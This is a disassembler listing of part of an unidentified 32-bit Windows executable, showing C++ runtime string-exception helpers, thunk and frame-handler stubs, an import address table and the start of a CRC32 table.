; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_426490(char *Src,int)
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
Src = dword ptr 4
push esi
push [esp+4+Src] ; Str
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call _strlen
pop ecx
push eax ; Size
push [esp+8+Src] ; Src
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: sub_4264E2+3p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; [0000000D BYTES: COLLAPSED FUNCTION sub_4264D5. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4264E2 proc near ; DATA XREF: .rdata:off_427D04o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4264BA
test [esp+4+arg_0], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: sub_4264E2+Dj
mov eax, esi
pop esi
retn 4
sub_4264E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4264FE proc near ; CODE XREF: sub_426573+29p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_426E32
call __EH_prolog
push ecx
push ecx
push esi
lea eax, [ebp+var_10]
mov esi, ecx
push eax
mov [ebp+var_14], esi
mov [ebp+var_10], offset dword_427D20
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp+var_C]
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: .rdata:off_427D14o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: .rdata:0042808Co
mov dword ptr [ecx], offset off_427D14
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426573 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_D = dword ptr -0Dh
var_4 = dword ptr -4
mov eax, offset loc_426E44
call __EH_prolog
sub esp, 30h
lea eax, [ebp+var_D]
push eax ; int
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_20]
call sub_426490
and [ebp+var_4], 0
lea eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_3C]
call sub_4264FE
push offset dword_428088
lea eax, [ebp+var_3C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_426E56
call __EH_prolog
push ecx
push ecx
push esi
lea eax, [ebp+var_10]
mov esi, ecx
push eax
mov [ebp+var_14], esi
mov [ebp+var_10], offset dword_427D20
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_426E68
call __EH_prolog
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
push edi
mov [ebp+var_10], esi
call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
and [ebp+var_4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp+var_C]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: .rdata:off_427D40o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: .rdata:00428134o
mov dword ptr [ecx], offset off_427D40
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42669A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p
; sub_40D50A+15p ...
var_3C = dword ptr -3Ch
var_20 = byte ptr -20h
var_D = dword ptr -0Dh
var_4 = dword ptr -4
mov eax, offset loc_426E7A
call __EH_prolog
sub esp, 30h
lea eax, [ebp+var_D]
push eax ; int
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_20]
call sub_426490
and [ebp+var_4], 0
lea eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_3C]
call sub_4265D0
push offset dword_428130
lea eax, [ebp+var_3C]
push eax
mov [ebp+var_3C], offset off_427D40
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D40
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4266F6 proc near ; DATA XREF: .rdata:00427D0Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428170
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: .rdata:00427D48o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428130
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: .rdata:00427D1Co
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428088
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426750 proc near ; CODE XREF: sub_40D99C+6Cp
jmp ds:dword_4271D8
sub_426750 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426756 proc near ; CODE XREF: sub_40CE41+5Ep
; sub_40E992+14Ap ...
jmp ds:dword_42722C
sub_426756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42675C proc near ; CODE XREF: unknown_libname_2+23p
; __global_unwind2+13p
jmp ds:dword_42719C
sub_42675C endp
; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_426813 proc near ; DATA XREF: .rdata:off_427D68o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4268B6
test [esp+4+arg_0], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: sub_426813+Dj
mov eax, esi
pop esi
retn 4
sub_426813 endp
; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; sub_426813+3p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D68
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_16. PRESS KEYPAD "+" TO EXPAND]
; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: .rdata:stru_427F48o
; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A9
sub_426DD8 endp
; =============== S U B R O U T I N E =======================================
sub_426DE0 proc near ; DATA XREF: .rdata:stru_427F48o
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: sub_426DE0+8j
retn
sub_426DE0 endp
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Do
mov eax, offset stru_427F48
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426E04 proc near ; DATA XREF: .rdata:stru_427F78o
lea ecx, [ebp+14h]
jmp loc_40D4A9
sub_426E04 endp
; =============== S U B R O U T I N E =======================================
sub_426E0C proc near ; DATA XREF: .rdata:stru_427F78o
lea ecx, [ebp-1Ch]
jmp loc_40D4A9
sub_426E0C endp
; =============== S U B R O U T I N E =======================================
sub_426E14 proc near ; DATA XREF: sub_40D21Fo
mov eax, offset stru_427F78
jmp ___CxxFrameHandler
sub_426E14 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426E20 proc near ; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o
mov eax, offset stru_427FA8
jmp ___CxxFrameHandler
sub_426E20 endp
; =============== S U B R O U T I N E =======================================
sub_426E2A proc near ; DATA XREF: .rdata:stru_428000o
mov ecx, [ebp-14h]
jmp sub_4268B6
sub_426E2A endp
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset stru_428008
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426E3C proc near ; DATA XREF: .rdata:stru_428098o
lea ecx, [ebp-20h]
jmp loc_40D4A9
sub_426E3C endp
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset stru_4280A0
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426E4E proc near ; DATA XREF: .rdata:stru_4280BCo
mov ecx, [ebp-14h]
jmp sub_4268B6
sub_426E4E endp
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
mov eax, offset stru_4280C4
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426E60 proc near ; DATA XREF: .rdata:stru_4280E0o
mov ecx, [ebp-10h]
jmp sub_4268B6
sub_426E60 endp
; ---------------------------------------------------------------------------
loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset stru_4280E8
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
sub_426E72 proc near ; DATA XREF: .rdata:stru_428140o
lea ecx, [ebp-20h]
jmp loc_40D4A9
sub_426E72 endp
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset stru_428148
jmp ___CxxFrameHandler
_text ends
; Section 2. (virtual address 00027000)
; Virtual size : 00001CAE ( 7342.)
; Section size in file : 00001CAE ( 7342.)
; Offset to raw data for section: 00027000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 427000h
dword_427000 dd 77E75D9Eh ; DATA XREF: sub_40F96B+201r
; sub_416DC9+26r
dword_427004 dd 77E6BD68h ; DATA XREF: ___crtsetenv+173r
dword_427008 dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+3Er
; ___crtCompareStringA+261r
dword_42700C dd 77E762D0h ; DATA XREF: ___crtCompareStringA+5Br
; ___crtCompareStringA+B9r
dword_427010 dd 77E70192h ; DATA XREF: __chsize+F9r
dword_427014 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_427018 dd 77E7339Ch ; DATA XREF: sub_424770+Cr
dword_42701C dd 77E7C9E7h ; DATA XREF: sub_424752+5r
; sub_424763+6r
dword_427020 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr
; ___crtGetStringTypeA+12Dr ...
dword_427024 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r
; ___crtGetStringTypeA+8Dr ...
dword_427028 dd 77E73FF9h ; DATA XREF: __commit+2Cr
dword_42702C dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_423801r
; __free_osfhnd:loc_42387Br
dword_427030 dd 77E78406h ; DATA XREF: __ioinit+FFr
; __ioinit+166r ...
dword_427034 dd 77E79C3Dh ; DATA XREF: __ioinit+158r
; __NMSG_WRITE+143r
dword_427038 dd 77E7C931h ; DATA XREF: __ioinit+19Dr
dword_42703C dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_427040 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_4231FFr
; ___crtGetEnvironmentStringsA+E1r
dword_427044 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_427048 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_42704C dd 77EB9A84h ; DATA XREF: __XcptFilter+138r
dword_427050 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r
; ___crtLCMapStringA+14Dr ...
dword_427054 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er
; ___crtLCMapStringA+A7r ...
dword_427058 dd 77F522F2h ; DATA XREF: sub_422608+58r
dword_42705C dd 77E6D706h ; DATA XREF: __raise_exc+215r
; _CxxThrowException(x,x)+2Er
dword_427060 dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar
dword_427064 dd 77E75CB5h ; DATA XREF: sub_40111D+DFr
; WinMain(x,x,x,x)+7Ar ...
dword_427068 dd 77E77963h ; DATA XREF: sub_40111D+B8r
; WinMain(x,x,x,x)+2DBr ...
dword_42706C dd 77E61BB8h ; DATA XREF: sub_40111D+A7r
; WinMain(x,x,x,x)+2C3r ...
dword_427070 dd 77E7A099h ; DATA XREF: sub_40111D+83r
; WinMain(x,x,x,x)+DAr ...
dword_427074 dd 77E704FCh ; DATA XREF: sub_40111D+74r
; WinMain(x,x,x,x)+C4r ...
dword_427078 dd 77E61BE6h ; DATA XREF: sub_40111D+29r
; WinMain(x,x,x,x)+1F4r ...
dword_42707C dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r
; sub_401ACD+7BBr ...
dword_427080 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br
; sub_401ACD+7872r ...
dword_427084 dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x)+274r
; sub_417276+15r ...
dword_427088 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r
dword_42708C dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r
; WinMain(x,x,x,x)+3E6r ...
dword_427090 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4013DCr
dword_427094 dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r
; WinMain(x,x,x,x)+221r ...
dword_427098 dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er
; sub_40F6B4+110r ...
dword_42709C dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r
; sub_409B13+2r ...
dword_4270A0 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br
; WinMain(x,x,x,x)+311r ...
dword_4270A4 dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r
dword_4270A8 dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr
; sub_401ACD+2561r ...
dword_4270AC dd 77E75CEBh ; DATA XREF: sub_401ACD+7AD8r
; sub_40B232+2Br ...
dword_4270B0 dd 77E6AD34h ; DATA XREF: sub_401ACD+69ACr
; sub_41835A+35r
dword_4270B4 dd 77E71AFEh ; DATA XREF: sub_401ACD+6776r
dword_4270B8 dd 77E805D8h ; DATA XREF: sub_409B13+13Ar
; sub_409B13:loc_40A021r ...
dword_4270BC dd 77E7A5FDh ; DATA XREF: sub_409B13+11r
; sub_416F1B+60r ...
dword_4270C0 dd 77E65F4Ch ; DATA XREF: .text:0040ADF7r
; sub_419594+34r
dword_4270C4 dd 77E7513Ch ; DATA XREF: .text:0040AE8Er
dword_4270C8 dd 77E7C657h ; DATA XREF: .text:0040AF02r
; sub_4184E2+32r ...
dword_4270CC dd 77E73C49h ; DATA XREF: sub_40B162+4Ar
; sub_40B8A2+1AFr ...
dword_4270D0 dd 77F7E300h ; DATA XREF: sub_40C125+142r
dword_4270D4 dd 77F7E21Fh ; DATA XREF: sub_40C125+D7r
dword_4270D8 dd 77E7C706h ; DATA XREF: sub_40C33D+77r
dword_4270DC dd 77F53275h ; DATA XREF: sub_40C33D+6Br
; sub_40C33D+22Fr
dword_4270E0 dd 77E79D8Ch ; DATA XREF: sub_40D8AE+94r
; sub_40D99C+181r ...
dword_4270E4 dd 77E737DEh ; DATA XREF: sub_40D99C+43Ar
dword_4270E8 dd 77E78B82h ; DATA XREF: sub_40D99C+1A9r
; sub_40D99C+499r ...
dword_4270EC dd 77E7A837h ; DATA XREF: sub_40D99C+A7r
; sub_40F6B4+1CBr ...
dword_4270F0 dd 77E616B4h ; DATA XREF: sub_40E504+19Br
; sub_410CD6+115r ...
dword_4270F4 dd 77E79CE3h ; DATA XREF: sub_40E504+111r
; sub_410F20+77r ...
dword_4270F8 dd 77E79C90h ; DATA XREF: sub_40E504+FDr
; sub_40E504+10Ar ...
dword_4270FC dd 77E7727Ah ; DATA XREF: sub_40E504+74r
; sub_410E27+23r ...
dword_427100 dd 77E64106h ; DATA XREF: sub_40F531+A0r
; sub_41AA43+1B6r
dword_427104 dd 77E64006h ; DATA XREF: sub_40F531+8Cr
; sub_41AA43+19Fr
dword_427108 dd 77E793EFh ; DATA XREF: sub_40F6B4+1F5r
; sub_40FFF1+38r ...
dword_42710C dd 77E78EAAh ; DATA XREF: sub_40F96B+5ECr
; sub_416DC9+C0r ...
dword_427110 dd 77E79424h ; DATA XREF: sub_40F96B+280r
; sub_417276+135r
dword_427114 dd 77E794BFh ; DATA XREF: sub_40F96B+272r
; sub_417276+123r
dword_427118 dd 77E75E67h ; DATA XREF: sub_40F96B+212r
; sub_40F96B+5DBr ...
dword_42711C dd 77E78C81h ; DATA XREF: sub_40FFF1+6Cr
; sub_415E1B+259r ...
dword_427120 dd 77E76968h ; DATA XREF: sub_410A4E+5Fr
dword_427124 dd 77E74C59h ; DATA XREF: sub_410CD6+C7r
dword_427128 dd 77EC7C51h ; DATA XREF: sub_4110AB+5Er
dword_42712C dd 77E70F89h ; DATA XREF: sub_411C14+Er
; sub_4151AD+Dr ...
dword_427130 dd 77E802FCh ; DATA XREF: sub_412B09+18Cr
; sub_412B09+2D4r ...
dword_427134 dd 77E6D75Bh ; DATA XREF: sub_412B09+182r
; sub_41386C+FFr
dword_427138 dd 77E80618h ; DATA XREF: sub_416F1B+170r
; sub_4185A5+D4r
dword_42713C dd 77E78147h ; DATA XREF: sub_416F1B+BCr
dword_427140 dd 77F51597h ; DATA XREF: sub_4170ED+41r
; sub_4170ED+F5r ...
dword_427144 dd 77F516F8h ; DATA XREF: sub_4170ED+21r
; sub_417276+4Ar ...
dword_427148 dd 77E77CB7h ; DATA XREF: sub_4170ED+10r
; sub_417276+40r ...
dword_42714C dd 77E7F01Ah ; DATA XREF: sub_417276+88r
; sub_41741D+55r
dword_427150 dd 77E61A54h ; DATA XREF: sub_417276+56r
; sub_41741D+97r
dword_427154 dd 77E7C3A5h ; DATA XREF: sub_417276+34r
; sub_41741D+2Er
dword_427158 dd 77E76A60h ; DATA XREF: sub_41814D+2Dr
dword_42715C dd 77E71B14h ; DATA XREF: sub_4181D7+26r
dword_427160 dd 77E7166Fh ; DATA XREF: sub_4181D7+1Dr
dword_427164 dd 77E75090h ; DATA XREF: sub_418212+69r
dword_427168 dd 77E74D76h ; DATA XREF: sub_418212+36r
dword_42716C dd 77E77797h ; DATA XREF: sub_418212+25r
dword_427170 dd 77E7011Ah ; DATA XREF: sub_418294+96r
dword_427174 dd 77E73CE2h ; DATA XREF: sub_418294+60r
dword_427178 dd 77E668D9h ; DATA XREF: sub_41835A+15Dr
dword_42717C dd 77E79924h ; DATA XREF: sub_418B59+13r
; ___crtLCMapStringA+20Dr ...
dword_427180 dd 77E77CCEh ; DATA XREF: sub_418C2B+Fr
; _mbstowcs+54r ...
dword_427184 dd 77E76A2Eh ; DATA XREF: sub_4196BD+DEr
dword_427188 dd 77E7FF65h ; DATA XREF: sub_419B10+5Ar
dword_42718C dd 77EB7624h ; DATA XREF: sub_419B10+3Dr
dword_427190 dd 77E6C29Dh ; DATA XREF: sub_41A19E+1EBr
dword_427194 dd 77E76C1Ah ; DATA XREF: sub_41AA43+1CFr
dword_427198 dd 77F5722Fh ; DATA XREF: sub_41B202+110r
; sub_41B202+22Dr ...
dword_42719C dd 77F6183Eh ; DATA XREF: sub_42675Cr
dword_4271A0 dd 77E76E3Dh ; DATA XREF: _time+6Cr __tzset+38r
dword_4271A4 dd 77E61608h ; DATA XREF: _time+17r
dword_4271A8 dd 77E6177Ah ; DATA XREF: start+9Fr __ioinit+59r
dword_4271AC dd 77E7C938h ; DATA XREF: start+74r
dword_4271B0 dd 77E7C486h ; DATA XREF: start+26r
dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41DC8A+54r
dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41DDD2+50r
dword_4271BC dd 77E7C726h ; DATA XREF: sub_41DDD2+11r
dword_4271C0 dd 77E79E34h ; DATA XREF: sub_41DEA2+240r
; sub_41E976+120r ...
dword_4271C4 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r
; ___sbh_alloc_new_group+51r ...
dword_4271C8 dd 77E73196h ; DATA XREF: sub_42478C+Cr
dword_4271CC dd 77E7849Fh ; DATA XREF: __setmbcp+48r
; _setSBUpLow+14r ...
dword_4271D0 dd 77E7A13Fh ; DATA XREF: _getSystemCP+2Fr
align 8
dword_4271D8 dd 71B2ACCBh ; DATA XREF: sub_426750r
align 10h
dword_4271E0 dd 71AB4122h ; DATA XREF: sub_414B46+D4r
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412661+1DEr
dword_4271E8 dd 71AB401Ch ; DATA XREF: sub_412661+21Br
; sub_412661+243r
dword_4271EC dd 71AB1836h ; DATA XREF: sub_40EFBF+6Er
; sub_40F03C+8Er
dword_4271F0 dd 71AB41DAh ; DATA XREF: sub_40E992+4Ar
; sub_40EFBF+15r
dword_4271F4 dd 71AB3F8Dh ; DATA XREF: sub_40E992+5Ar
dword_4271F8 dd 71AB155Ah ; DATA XREF: sub_40E992+8Dr
; sub_4136C6+70r ...
dword_4271FC dd 71AB3ECEh ; DATA XREF: sub_40E992+B5r
dword_427200 dd 71AB5DE2h ; DATA XREF: sub_40E992+C9r
dword_427204 dd 71AB868Dh ; DATA XREF: sub_40E992+171r
dword_427208 dd 71AB5A01h ; DATA XREF: sub_414C2F+20r
dword_42720C dd 71AB12F8h ; DATA XREF: sub_40DEA1+27r
; sub_40DFE3+27r ...
dword_427210 dd 71AB1746h ; DATA XREF: sub_40DEA1+36r
; sub_40DFE3+36r ...
dword_427214 dd 71AB3E5Dh ; DATA XREF: sub_40DEA1+59r
; sub_40DFE3+59r ...
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DEA1+6Ar
; sub_40DFE3+6Ar ...
dword_42721C dd 71AB1A6Dh ; DATA XREF: sub_40DEA1+E0r
; sub_40DFE3+E0r ...
dword_427220 dd 71AB3C22h ; DATA XREF: .text:0040D389r
; sub_40DEA1+45r ...
dword_427224 dd 71AB1AF4h ; DATA XREF: sub_40CFDF+12r
; sub_40DEA1+C3r ...
dword_427228 dd 71AB1890h ; DATA XREF: sub_40CE41+4Cr
; sub_40E992+106r
dword_42722C dd 71AB1B7Bh ; DATA XREF: sub_426756r
dword_427230 dd 71AB157Eh ; DATA XREF: sub_401ACD+2FA9r
align 8
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
